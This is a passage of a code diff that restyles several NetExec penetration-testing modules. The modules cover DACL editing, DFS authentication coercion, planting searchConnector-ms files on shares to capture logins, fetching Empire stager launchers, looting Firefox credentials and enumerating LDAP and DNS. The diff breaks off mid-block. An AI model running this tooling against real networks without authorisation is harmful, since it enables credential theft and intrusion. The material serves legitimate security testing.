# Permits to export the DACL of the targets
# This function is called before any writing action (write, remove or restore)
@ -348,7 +347,7 @@ class NXCModule:
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(self.target_principal_dn)
if not self.filename:
self.filename = "dacledit-%s-%s.bak" % (
self.filename = "dacledit-{}-{}.bak".format(
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
self.target_sAMAccountName,
)
@ -366,7 +365,7 @@ class NXCModule:
_lookedup_principal = self.target_sAMAccountName
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
@ -374,61 +373,54 @@ class NXCModule:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(distinguishedName=%s)" % _lookedup_principal,
searchFilter=f"(distinguishedName={_lookedup_principal})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
try:
self.target_principal = target[0]
except Exception as e:
context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal)
exit(0)
except Exception:
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
sys.exit(0)
# Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
# Not used for the moment
# - samname : a sAMAccountName
def get_user_info(self, context, samname):
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(samname),
searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
attributes=["objectSid"],
)
try:
dn = self.ldap_session.entries[0].entry_dn
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
return dn, sid
except Exception as e:
context.log.fail("User not found in LDAP: %s" % samname)
except Exception:
context.log.fail(f"User not found in LDAP: {samname}")
return False
# Attempts to resolve a SID and return the corresponding samaccountname
# - sid : the SID to resolve
def resolveSID(self, context, sid):
# Tries to resolve the SID from the well known SIDs
if sid in WELL_KNOWN_SIDS.keys():
if sid in WELL_KNOWN_SIDS:
return WELL_KNOWN_SIDS[sid]
# Tries to resolve the SID from the LDAP domain dump
else:
try:
dn = self.ldap_session.search(
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(objectSid=%s)" % sid,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[
0
][0]
samname = self.ldap_session.search(
)[0][0]
return self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(objectSid=%s)" % sid,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[0][
1
][0][
1
][0]
return samname
except Exception as e:
context.log.debug("SID not found in LDAP: %s" % sid)
)[0][1][0][1][0]
except Exception:
context.log.debug(f"SID not found in LDAP: {sid}")
return ""
# Parses a full DACL
@ -445,17 +437,12 @@ class NXCModule:
# Parses an access mask to extract the different values from a simple permission
# https://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
# - fsr : the access mask to parse
def parse_perms(self, fsr):
_perms = []
for PERM in SIMPLE_PERMISSIONS:
if (fsr & PERM.value) == PERM.value:
_perms.append(PERM.name)
fsr = fsr & (not PERM.value)
for PERM in ACCESS_MASK:
if fsr & PERM.value:
_perms.append(PERM.name)
return _perms
def parse_perms(self, access_mask):
perms = [PERM.name for PERM in SIMPLE_PERMISSIONS if (access_mask & PERM.value) == PERM.value]
# use bitwise NOT operator (~) and sum() function to clear the bits that have been processed
access_mask &= ~sum(PERM.value for PERM in SIMPLE_PERMISSIONS if (access_mask & PERM.value) == PERM.value)
perms += [PERM.name for PERM in ACCESS_MASK if access_mask & PERM.value]
return perms
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
# - ace : the ACE to parse
@ -467,86 +454,59 @@ class NXCModule:
"ACCESS_DENIED_ACE",
"ACCESS_DENIED_OBJECT_ACE",
]:
parsed_ace = {}
parsed_ace["ACE Type"] = ace["TypeName"]
# Retrieves ACE's flags
_ace_flags = []
for FLAG in ACE_FLAGS:
if ace.hasFlag(FLAG.value):
_ace_flags.append(FLAG.name)
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
parsed_ace = {"ACE Type": ace["TypeName"], "ACE flags": ", ".join(_ace_flags) or "None"}
# For standard ACE
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
parsed_ace["Access mask"] = "%s (0x%x)" % (
", ".join(self.parse_perms(ace["Ace"]["Mask"]["Mask"])),
ace["Ace"]["Mask"]["Mask"],
)
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
# For object-specific ACE
elif ace["TypeName"] in [
"ACCESS_ALLOWED_OBJECT_ACE",
"ACCESS_DENIED_OBJECT_ACE",
]:
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
parsed_ace = {
"Access mask": access_mask,
"Trustee (SID)": trustee_sid
}
elif ace["TypeName"] in ["ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE"]: # for object-specific ACE
# Extracts the mask values. These values will indicate the ObjectType purpose
_access_mask_flags = []
for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS:
if ace["Ace"]["Mask"].hasPriv(FLAG.value):
_access_mask_flags.append(FLAG.name)
parsed_ace["Access mask"] = ", ".join(_access_mask_flags)
access_mask_flags = [FLAG.name for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS if ace["Ace"]["Mask"].hasPriv(FLAG.value)]
parsed_ace["Access mask"] = ", ".join(access_mask_flags)
# Extracts the ACE flag values and the trusted SID
_object_flags = []
for FLAG in OBJECT_ACE_FLAGS:
if ace["Ace"].hasFlag(FLAG.value):
_object_flags.append(FLAG.name)
parsed_ace["Flags"] = ", ".join(_object_flags) or "None"
object_flags = [FLAG.name for FLAG in OBJECT_ACE_FLAGS if ace["Ace"].hasFlag(FLAG.value)]
parsed_ace["Flags"] = ", ".join(object_flags) or "None"
# Extracts the ObjectType GUID values
if ace["Ace"]["ObjectTypeLen"] != 0:
obj_type = bin_to_string(ace["Ace"]["ObjectType"]).lower()
try:
parsed_ace["Object type (GUID)"] = "%s (%s)" % (
OBJECT_TYPES_GUID[obj_type],
obj_type,
)
parsed_ace["Object type (GUID)"] = f"{OBJECT_TYPES_GUID[obj_type]} ({obj_type})"
except KeyError:
parsed_ace["Object type (GUID)"] = "UNKNOWN (%s)" % obj_type
parsed_ace["Object type (GUID)"] = f"UNKNOWN ({obj_type})"
# Extracts the InheritedObjectType GUID values
if ace["Ace"]["InheritedObjectTypeLen"] != 0:
inh_obj_type = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower()
try:
parsed_ace["Inherited type (GUID)"] = "%s (%s)" % (
OBJECT_TYPES_GUID[inh_obj_type],
inh_obj_type,
)
parsed_ace["Inherited type (GUID)"] = f"{OBJECT_TYPES_GUID[inh_obj_type]} ({inh_obj_type})"
except KeyError:
parsed_ace["Inherited type (GUID)"] = "UNKNOWN (%s)" % inh_obj_type
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
parsed_ace["Trustee (SID)"] = "{} ({})".format(
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
else:
# If the ACE is not an access allowed
context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace["TypeName"])
parsed_ace = {}
parsed_ace["ACE type"] = ace["TypeName"]
_ace_flags = []
for FLAG in ACE_FLAGS:
if ace.hasFlag(FLAG.value):
_ace_flags.append(FLAG.name)
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
parsed_ace["DEBUG"] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute"
else: # if the ACE is not an access allowed
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
parsed_ace = {
"ACE type": ace["TypeName"],
"ACE flags": ", ".join(_ace_flags) or "None",
"DEBUG": "ACE type not supported for parsing by dacleditor.py, feel free to contribute",
}
return parsed_ace
# Prints a full DACL by printing each parsed ACE
# - parsed_dacl : a parsed DACL from parse_dacl()
def print_parsed_dacl(self, context, parsed_dacl):
"""Prints a full DACL by printing each parsed ACE
parsed_dacl : a parsed DACL from parse_dacl()
"""
context.log.debug("Printing parsed DACL")
i = 0
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
@ -566,7 +526,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@ -574,7 +534,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@ -582,13 +542,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@ -596,7 +556,7 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.print_parsed_ace(parsed_ace)

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
@ -23,9 +20,7 @@ class NXCModule:
self.listener = None
def options(self, context, module_options):
"""
LISTENER Listener Address (defaults to 127.0.0.1)
"""
"""LISTENER Listener Address (defaults to 127.0.0.1)"""
self.listener = "127.0.0.1"
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
@ -64,13 +59,9 @@ class DCERPCSessionError(DCERPCException):
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return "DFSNM SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return "DFSNM SessionError: unknown error code: 0x%x" % self.error_code
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
@ -119,21 +110,20 @@ class TriggerAuth:
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
# if target:
# rpctransport.setRemoteHost(target)
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
nxc_logger.debug("[-] Connecting to %s" % r"ncacn_np:%s[\PIPE\netdfs]" % target)
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
return
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
return
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
nxc_logger.debug("[+] Successfully bound!")
return dce
@ -141,13 +131,12 @@ class TriggerAuth:
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request["ServerName"] = "%s\x00" % listener
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
if self.args.verbose:
nxc_logger.debug(request.dump())
# logger.debug(request.dump())
resp = dce.request(request)
dce.request(request)
except Exception as e:
nxc_logger.debug(e)

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ntpath
import tempfile
@ -47,22 +44,21 @@ class NXCModule:
self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms")
if not self.cleanup:
self.scfile_path = f"{tempfile.gettempdir()}/{self.filename}.searchConnector-ms"
scfile = open(self.scfile_path, "w")
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
scfile.write("<templateInfo>")
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
scfile.write("</templateInfo>")
scfile.write("<simpleLocation>")
scfile.write("<url>{}</url>".format(self.url))
scfile.write("</simpleLocation>")
scfile.write("</searchConnectorDescription>")
scfile.close()
with open(self.scfile_path, "w") as scfile:
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
scfile.write("<templateInfo>")
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
scfile.write("</templateInfo>")
scfile.write("<simpleLocation>")
scfile.write(f"<url>{self.url}</url>")
scfile.write("</simpleLocation>")
scfile.write("</searchConnectorDescription>")
def on_login(self, context, connection):
shares = connection.shares()
@ -74,13 +70,12 @@ class NXCModule:
with open(self.scfile_path, "rb") as scfile:
try:
connection.conn.putFile(share["name"], self.file_path, scfile.read)
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share")
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms file on the {share['name']} share")
except Exception as e:
context.log.exception(e)
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}")
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file on the {share['name']} share: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share")
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the {share['name']} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}")
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms file on share {share['name']}: {e}")

View File

@ -1,15 +1,7 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import requests
from requests import ConnectionError
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class NXCModule:
"""
@ -38,7 +30,7 @@ class NXCModule:
api_proto = "https" if "SSL" in module_options else "http"
obfuscate = True if "OBFUSCATE" in module_options else False
obfuscate = "OBFUSCATE" in module_options
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
default_obfuscation = "Token,All,1"
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
@ -100,7 +92,7 @@ class NXCModule:
verify=False,
)
except ConnectionError:
context.log.fail(f"Unable to request stager from Empire's RESTful API")
context.log.fail("Unable to request stager from Empire's RESTful API")
sys.exit(1)
if stager_response.status_code not in [200, 201]:
@ -111,7 +103,6 @@ class NXCModule:
sys.exit(1)
context.log.debug(f"Response Code: {stager_response.status_code}")
# context.log.debug(f"Response Content: {stager_response.text}")
stager_create_data = stager_response.json()
context.log.debug(f"Stager data: {stager_create_data}")
@ -123,14 +114,13 @@ class NXCModule:
verify=False,
)
context.log.debug(f"Response Code: {download_response.status_code}")
# context.log.debug(f"Response Content: {download_response.text}")
self.empire_launcher = download_response.text
if download_response.status_code == 200:
context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'")
else:
context.log.fail(f"Something went wrong when retrieving stager Powershell command")
context.log.fail("Something went wrong when retrieving stager Powershell command")
def on_admin_login(self, context, connection):
if self.empire_launcher:

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# All credit to @an0n_r0
# https://github.com/tothi/serviceDetector
# Module by @mpgn_x64
@ -30,7 +27,6 @@ class NXCModule:
def options(self, context, module_options):
"""
"""
pass
def on_login(self, context, connection):
target = self._get_target(connection)
@ -62,15 +58,14 @@ class NXCModule:
dce, _ = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
try:
try:
for product in conf["products"]:
for service in product["services"]:
lsa.LsarLookupNames(dce, policyHandle, service["name"])
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
results.setdefault(product["name"], {"services": []})["services"].append(service)
except:
pass
except Exception:
pass
except Exception as e:
context.log.fail(str(e))
@ -93,7 +88,7 @@ class NXCModule:
def dump_results(self, results, remoteName, context):
if not results:
context.log.highlight(f"Found NOTHING!")
context.log.highlight("Found NOTHING!")
return
for item, data in results.items():
@ -148,7 +143,7 @@ class LsaLookupNames:
"""
string_binding = string_binding or self.string_binding
if not string_binding:
raise NotImplemented("String binding must be defined")
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
@ -199,12 +194,11 @@ class LsaLookupNames:
request["PolicyHandle"] = policyHandle
request["Count"] = 1
name1 = RPC_UNICODE_STRING()
name1["Data"] = "NT Service\{}".format(service)
name1["Data"] = f"NT Service\\{service}"
request["Names"].append(name1)
request["TranslatedSids"]["Sids"] = NULL
request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
resp = dce.request(request)
return resp
return dce.request(request)
conf = {

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from datetime import datetime
from nxc.helpers.logger import write_log
@ -23,9 +20,7 @@ class NXCModule:
self.domains = None
def options(self, context, module_options):
"""
DOMAIN Domain to enumerate DNS for. Defaults to all zones.
"""
"""DOMAIN Domain to enumerate DNS for. Defaults to all zones."""
self.domains = None
if module_options and "DOMAIN" in module_options:
self.domains = module_options["DOMAIN"]
@ -34,15 +29,12 @@ class NXCModule:
if not self.domains:
domains = []
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
if output:
for result in output:
domains.append(result["Name"]["value"])
context.log.success("Domains retrieved: {}".format(domains))
domains = [result["Name"]["value"] for result in output] if output else []
context.log.success(f"Domains retrieved: {domains}")
else:
domains = [self.domains]
data = ""
for domain in domains:
output = connection.wmi(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
@ -70,6 +62,6 @@ class NXCModule:
context.log.highlight("\t" + d)
data += "\t" + d + "\n"
log_name = "DNS-Enum-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(data, log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")

View File

@ -1,16 +1,14 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class NXCModule:
"""
Example
Example:
-------
Module by @yomama
"""
name = "example module"
description = "I do something"
supported_protocols = [] # Example: ['smb', 'mssql']
supported_protocols = [] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
@ -22,7 +20,6 @@ class NXCModule:
"""Required.
Module options get parsed here. Additionally, put the modules usage here as well
"""
pass
def on_login(self, context, connection):
"""Concurrent.
@ -30,43 +27,39 @@ class NXCModule:
"""
# Logging best practice
# Mostly you should use these functions to display information to the user
context.log.display("I'm doing something") # Use this for every normal message ([*] I'm doing something)
context.log.success("I'm doing something") # Use this for when something succeeds ([+] I'm doing something)
context.log.fail("I'm doing something") # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed
context.log.highlight("I'm doing something") # Use this for when something is important and should be highlighted, printing credentials for example
context.log.display("I'm doing something") # Use this for every normal message ([*] I'm doing something)
context.log.success("I'm doing something") # Use this for when something succeeds ([+] I'm doing something)
context.log.fail("I'm doing something") # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed
context.log.highlight("I'm doing something") # Use this for when something is important and should be highlighted, printing credentials for example
# These are for debugging purposes
context.log.info("I'm doing something") # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful
context.log.debug("I'm doing something") # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors
context.log.info("I'm doing something") # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful
context.log.debug("I'm doing something") # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors
# These are for more critical error handling
context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
try:
raise Exception("Exception that might occure")
raise Exception("Exception that might have occurred")
except Exception as e:
context.log.exception(f"Exception occured: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
context.log.exception(f"Exception occurred: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
def on_admin_login(self, context, connection):
"""Concurrent.
Required if on_login is not present
This gets called on each authenticated connection with Administrative privileges
"""
pass
def on_request(self, context, request):
"""Optional.
If the payload needs to retrieve additional files, add this function to the module
"""
pass
def on_response(self, context, response):
"""Optional.
If the payload sends back its output to our server, add this function to the module to handle its output
"""
pass
def on_shutdown(self, context, connection):
"""Optional.
Do something on shutdown
"""
pass

View File

@ -1,85 +1,80 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
from nxc.logger import nxc_logger
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
import sys
class NXCModule:
'''
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
'''
name = 'find-computer'
description = 'Finds computers in the domain via the provided text'
supported_protocols = ['ldap']
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
"""
name = "find-computer"
description = "Finds computers in the domain via the provided text"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
'''
"""
find-computer: Specify find-computer to call the module
TEXT: Specify the TEXT option to enter your text to search for
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
'''
"""
self.TEXT = ""
self.TEXT = ''
if 'TEXT' in module_options:
self.TEXT = module_options['TEXT']
if "TEXT" in module_options:
self.TEXT = module_options["TEXT"]
else:
context.log.error('TEXT option is required!')
exit(1)
context.log.error("TEXT option is required!")
sys.exit(1)
def on_login(self, context, connection):
# Building the search filter
searchFilter = "(&(objectCategory=computer)(&(|(operatingSystem=*"+self.TEXT+"*)(name=*"+self.TEXT+"*))))"
search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
try:
context.log.debug('Search Filter=%s' % searchFilter)
resp = connection.ldapConnection.search(searchFilter=searchFilter,
attributes=['dNSHostName','operatingSystem'],
sizeLimit=0)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
except LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
pass
else:
logging.debug(e)
nxc_logger.debug(e)
return False
answers = []
context.log.debug('Total no. of records returned %d' % len(resp))
context.log.debug(f"Total no. of records returned: {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
if isinstance(item, SearchResultEntry) is not True:
continue
dNSHostName = ''
operatingSystem = ''
dns_host_name = ""
operating_system = ""
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'dNSHostName':
dNSHostName = str(attribute['vals'][0])
elif str(attribute['type']) == 'operatingSystem':
operatingSystem = attribute['vals'][0]
if dNSHostName != '' and operatingSystem != '':
answers.append([dNSHostName,operatingSystem])
for attribute in item["attributes"]:
if str(attribute["type"]) == "dNSHostName":
dns_host_name = str(attribute["vals"][0])
elif str(attribute["type"]) == "operatingSystem":
operating_system = attribute["vals"][0]
if dns_host_name != "" and operating_system != "":
answers.append([dns_host_name, operating_system])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
pass
context.log.debug(f"Skipping item, cannot process due to error {e}")
if len(answers) > 0:
context.log.success('Found the following computers: ')
context.log.success("Found the following computers: ")
for answer in answers:
try:
IP = socket.gethostbyname(answer[0])
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],IP))
context.log.debug('IP found')
except socket.gaierror as e:
context.log.debug('Missing IP')
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],"No IP Found"))
ip = socket.gethostbyname(answer[0])
context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
context.log.debug("IP found")
except socket.gaierror:
context.log.debug("Missing IP")
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
else:
context.log.success('Unable to find any computers with the text "' + self.TEXT + '"')
context.log.success(f"Unable to find any computers with the text {self.TEXT}")

View File

@ -1,4 +1,3 @@
#!/usr/bin/env python3
from dploot.lib.target import Target
from nxc.protocols.smb.firefox import FirefoxTriage
@ -18,7 +17,6 @@ class NXCModule:
def options(self, context, module_options):
"""Dump credentials from Firefox"""
pass
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
@ -50,8 +48,7 @@ class NXCModule:
firefox_credentials = firefox_triage.run()
for credential in firefox_credentials:
context.log.highlight(
"[%s][FIREFOX] %s %s:%s"
% (
"[{}][FIREFOX] {} {}:{}".format(
credential.winuser,
credential.url + " -" if credential.url != "" else "-",
credential.username,
@ -59,4 +56,4 @@ class NXCModule:
)
)
except Exception as e:
context.log.debug("Error while looting firefox: {}".format(e))
context.log.debug(f"Error while looting firefox: {e}")

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import re
@ -42,7 +39,7 @@ class NXCModule:
searchFilter = "(objectclass=user)"
try:
context.log.debug("Search Filter=%s" % searchFilter)
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
@ -54,13 +51,12 @@ class NXCModule:
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
nxc_logger.debug(e)
return False
answers = []
context.log.debug("Total of records returned %d" % len(resp))
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
@ -76,13 +72,12 @@ class NXCModule:
answers.append([sAMAccountName, description])
except Exception as e:
